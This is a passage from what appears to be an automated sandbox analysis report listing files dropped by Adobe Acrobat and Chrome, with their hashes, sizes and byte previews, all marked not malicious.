Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIa696e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5197430193686525
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8sKD0lWdH:Qw946cPbiOxDlbYnuRKSJ
MD5:	25A1C93B573FA236D2AA2EAC3F4F42CD
SHA1:	0C0E5D50FB90ED3D0860C9425277B1D97642FC95
SHA-256:	92EDBC8E4DB0326D9B278C5652F5AFABFD2764323EFE1FE3BC5246CC40E8D442
SHA-512:	C15D0E3DF5EC9AC51DCA32A55B28AE969F3BDAB3A080341C45220523FCC7B13FB7977EB03EB0C0133FF5CE1382CE1E251F5B8FE198E70C99AD23F15F47517E24
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.8./.1.2./.2.0.2.4. . .0.8.:.5.3.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-18 08-53-02-883.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:	384:tbxtsuP+XEWJJQbnR8L31M7HeltV+KYm3wsa2KjF4ODkr/O8r2IUHUHMWwEyZRN2:aPL
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.380782152451028
Encrypted:	false
SSDEEP:	384:VX1eeoaXFKLNy3Brq+mEDp/Rl7WjNfvLNjnpbTNJsjvoboZo5KtXjs4abaX2hH04:R9GcK9
MD5:	39C3692A32E02F2071975B822B7157B8
SHA1:	5645DEB183E4B8DC36AF8C3905B0D85D37BC6C8D
SHA-256:	4AF05D77D0A3961EAE46CF80739B41FA2C3E1AFFF855BBC6D7B418FF750CDF70
SHA-512:	29E22D8D8C857448956131B420B0D299ECFEF5024DDCA4A444D8378937401CAF279ABD6A54184D2070D0A1382645310701595A62B715638F711AB0FBD32A7680
Malicious:	false
Preview:	SessionID=7a29f4f6-b9f7-4355-864c-f30065e27f8d.1734529982900 Timestamp=2024-12-18T08:53:02:900-0500 ThreadID=1216 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7a29f4f6-b9f7-4355-864c-f30065e27f8d.1734529982900 Timestamp=2024-12-18T08:53:02:907-0500 ThreadID=1216 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7a29f4f6-b9f7-4355-864c-f30065e27f8d.1734529982900 Timestamp=2024-12-18T08:53:02:907-0500 ThreadID=1216 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7a29f4f6-b9f7-4355-864c-f30065e27f8d.1734529982900 Timestamp=2024-12-18T08:53:02:907-0500 ThreadID=1216 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7a29f4f6-b9f7-4355-864c-f30065e27f8d.1734529982900 Timestamp=2024-12-18T08:53:02:908-0500 ThreadID=1216 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4202228250820585
Encrypted:	false
SSDEEP:	192:0cbgIhPcbocbAIlncb2cbwI/RcbNcbQIVvcbicbQIfFcbp:fhWlA/TVIfq
MD5:	25B320BECB9BA2045BE4D9658EBCAD99
SHA1:	4E1EDF917895BF9332E467DF4181F99E326BCE40
SHA-256:	02356928CEBF7980786A1C7BE4E2B895E163749F2A1B294EE7EB8DD377FF8D0B
SHA-512:	63A186F68E378E75D5A3DEC787EA0F49F233CF54F16F04C45280024FAFFF8907CD4D126684F27738B29B150721FCD2F9CC4AB7F09B4914FAA82F3FD9B15F84B9
Malicious:	false
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\15c8c006-52ec-4e76-b62b-9a8f95b5ed52.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:bWNh3P6+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:C3PDegf121YS8lkipdjMMNB1DofjgJJg
MD5:	59EE5E2FB56A099CAA8EDFD7AF821ED6
SHA1:	F5DC4F876768D57B69EC894ADE0A66E813BFED92
SHA-256:	E100AAAA4FB2B3D78E3B6475C3B48BE189C5A39F73CFC2D22423F2CE928D3E75
SHA-512:	77A45C89F6019F92576D88AE67B59F9D6D36BA6FDC020419DAB55DBD8492BA97B3DAC18278EB0210F90758B3D643EA8DCF8EC2BD1481930A59B8BB515E7440FE
Malicious:	false
Preview:	...........].s..R/c..D@..\......3Z.....E.,...d{.k.~..H3....-......A...<>n.......X..Dp..d......f.{...9&F..........R.UW-..^..zC.kjOUUMm...nW...Z.7.J.R.....=.R........4..(WCMQ..u]]R...R......5...N)].....!.-.d]M....7.......i..rmP...6A.Z .=..~..$C-..}..Mo.T......:._'.S....r.9....6.....r....#...<U@.Iiu..X].T x.j....x...:q.....j]P3......[.5]\|..7;.5....^..7(.E..@..s...2..}..j.......t.5J...6Rf..%P{2T^$Y.V.O9.W...4...\ .5............Q.&j....h.+.u......W...4f]..s..(...:....`.<W_...zBs\|tF5 NI4.zD..5...u...!........M.0.K%F....,.c.....>R6..i..Am.y.~5..S....M...^......F.&..V...Z.......i....b....V..,.UH"...W...5}A.....KUT..=6jZ.....B...Z...Y(..u...=....x,2..."._Cf.....b...z7..... r..#.r..L9....2...R,..J?&..p..~.....3.=z...w..m..U..%._#<....r.....B.z..G..D.:4m.Z.&.N......</..Dz+.......vn.....;Qhk....!dw...A......3..a..K...).Q.`t[..)].6.%@....v.g.%E>;Z...uz.L..6Ct..O.Eo.O.e..........J.J$...:....K..)......F.....ZWE...z..5..g.io...l2[.,m9X..f......5\|:bj[.._R{gi...^

C:\Users\user\AppData\Local\Temp\acrocef_low\24da2d5e-541d-4ee5-a4e4-cd76444798ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VxWL07oXGZIeYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:txWLxXGZIeZGh3mlind9i4ufFXpAXkru
MD5:	0F358F16BAE410EEF2BCE346993AAF5B
SHA1:	B516E557DD59FFC4D930C20CB07806273D11F7AA
SHA-256:	CF03A8705A7D38C62146C95792C58B6E26F8320CA23AE8A300FC1A2E399F760E
SHA-512:	05FED8A7FADCB530BAAC129DB012325F13D72C9E17DCA75B7F5CB72660D86F511E60333AE0220C3F39AEBA3583A9D84A9B1A5C1D6021877FF05053832017B107
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\463215b7-47a7-4641-ba48-7a564df0be83.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:bWNh3P6+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:C3PDegf121YS8lkipdjMMNB1DofjgJJg
MD5:	59EE5E2FB56A099CAA8EDFD7AF821ED6
SHA1:	F5DC4F876768D57B69EC894ADE0A66E813BFED92
SHA-256:	E100AAAA4FB2B3D78E3B6475C3B48BE189C5A39F73CFC2D22423F2CE928D3E75
SHA-512:	77A45C89F6019F92576D88AE67B59F9D6D36BA6FDC020419DAB55DBD8492BA97B3DAC18278EB0210F90758B3D643EA8DCF8EC2BD1481930A59B8BB515E7440FE
Malicious:	false
Preview:	...........].s..R/c..D@..\......3Z.....E.,...d{.k.~..H3....-......A...<>n.......X..Dp..d......f.{...9&F..........R.UW-..^..zC.kjOUUMm...nW...Z.7.J.R.....=.R........4..(WCMQ..u]]R...R......5...N)].....!.-.d]M....7.......i..rmP...6A.Z .=..~..$C-..}..Mo.T......:._'.S....r.9....6.....r....#...<U@.Iiu..X].T x.j....x...:q.....j]P3......[.5]\|..7;.5....^..7(.E..@..s...2..}..j.......t.5J...6Rf..%P{2T^$Y.V.O9.W...4...\ .5............Q.&j....h.+.u......W...4f]..s..(...:....`.<W_...zBs\|tF5 NI4.zD..5...u...!........M.0.K%F....,.c.....>R6..i..Am.y.~5..S....M...^......F.&..V...Z.......i....b....V..,.UH"...W...5}A.....KUT..=6jZ.....B...Z...Y(..u...=....x,2..."._Cf.....b...z7..... r..#.r..L9....2...R,..J?&..p..~.....3.=z...w..m..U..%._#<....r.....B.z..G..D.:4m.Z.&.N......</..Dz+.......vn.....;Qhk....!dw...A......3..a..K...).Q.`t[..)].6.%@....v.g.%E>;Z...uz.L..6Ct..O.Eo.O.e..........J.J$...:....K..)......F.....ZWE...z..5..g.io...l2[.,m9X..f......5\|:bj[.._R{gi...^

C:\Users\user\AppData\Local\Temp\acrocef_low\78cabd56-eb08-4c09-b454-58296c72e12b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8f5caf67-e0ae-45ad-9a7f-9d165b92af31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c0cfca8d-4d5a-4853-b4b3-653c8395ba84.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oXGZDYIGNPh:tRb3mlind9i4ufFXpAXkrfUs0kWLxXGG
MD5:	C998C4F1A2DEE9583DB57F5F32441360
SHA1:	C1FEE90093B29AD0F312B076E79B89295C87E851
SHA-256:	14BC4AE964B9F204B23203BF9F5C2DEDD3096C68D650CB15963EBC9D6244EBAF
SHA-512:	78219076A623936F7A5DB693603984694D589B8D97EC9FC10C2FF6CA1C293545274CEF5F3B763CB8AA029BB93774873760008C2972561D31C7C13442B2A4CB2D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e5bb0d34-5f3f-406d-aa99-45ea9def08a7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f4d3963a-d4fa-48ec-9523-abe4b3fc8c45.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 12:53:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.985796784584148
Encrypted:	false
SSDEEP:	48:8OdWTS+eHVidAKZdA1FehwiZUklqehDy+3:8/fUIy
MD5:	99D0524F859A87AD18C3823B84449A7D
SHA1:	61292E505DD9E1052A9EA1DA0507BABB4BC0B3B1
SHA-256:	A6CB0F21D6FA1F7DB5768F22D33BC549AB3038FCEAA8437AB18AE03B447F58C5
SHA-512:	5E8F19BE05F63B203A072140DBCCDD26AB2D53241A2B7500B007B2F34449C8B51BAC046E3629949BDD5C88BD135F90A18EFF44178F2D14DE48A690E2D8EC90B7
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......<TQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............{......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 12:53:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.003569104580036
Encrypted:	false
SSDEEP:	48:8TdWTS+eHVidAKZdA1seh/iZUkAQkqeh4y+2:8Efq9Qhy
MD5:	DE3488B5B85B25137EFC2D6B85F9E118
SHA1:	0B6726AD79AD7263A2C721365D3D4404C8E6F890
